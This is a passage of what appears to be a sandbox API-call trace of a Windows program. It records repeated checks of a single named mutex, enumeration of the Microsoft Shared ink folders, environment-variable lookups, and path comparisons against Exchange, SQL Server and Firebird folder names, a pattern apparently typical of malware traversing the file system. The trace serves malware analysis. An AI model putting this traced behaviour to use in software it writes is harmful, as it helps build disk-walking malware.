ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.212] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR") returned 1 [0047.212] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.212] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.212] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.212] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.212] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.212] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.212] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.213] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.213] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.213] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.213] GetLastError () returned 0x12 [0047.213] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.213] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.213] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.213] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA") returned 1 [0047.214] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.214] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.214] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.214] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.214] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.214] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.214] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.214] GetLastError () returned 0x12 [0047.214] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.215] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.215] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN") returned 1 [0047.219] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.219] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.219] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.219] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.219] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.219] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.219] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.219] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.219] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.219] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.219] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.219] GetLastError () returned 0x12 [0047.219] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.220] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.220] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.220] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW") returned 1 [0047.223] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.224] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.224] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.225] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.225] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.226] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.226] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.226] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.226] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.226] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.237] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.237] GetLastError () returned 0x12 [0047.237] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.238] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.238] GlobalLock (hMem=0x440004) returned 0x550170 [0047.238] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.238] GlobalUnlock (hMem=0x440004) returned 0 [0047.238] GlobalLock (hMem=0x440004) returned 0x550170 [0047.238] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.238] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.238] GlobalUnlock (hMem=0x440004) returned 0 [0047.238] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.238] GlobalUnlock (hMem=0x44000c) returned 0 [0047.238] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.238] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr", len=0x3e | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned 1 [0047.238] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.238] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.238] GlobalUnlock (hMem=0x44000c) returned 0 [0047.238] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.238] GlobalLock (hMem=0x440004) returned 0x552180 [0047.238] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.238] GlobalUnlock (hMem=0x44000c) returned 0 [0047.238] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.238] GlobalUnlock (hMem=0x440004) returned 0 [0047.250] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\뵱眷?\x18?\x18\x18") returned 21 [0047.251] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\뵱眷?\x18?\x18\x18") returned 9 [0047.251] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\뵱眷?\x18?\x18\x18") returned 8 [0047.252] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 37 [0047.252] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\") returned 0x3f [0047.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 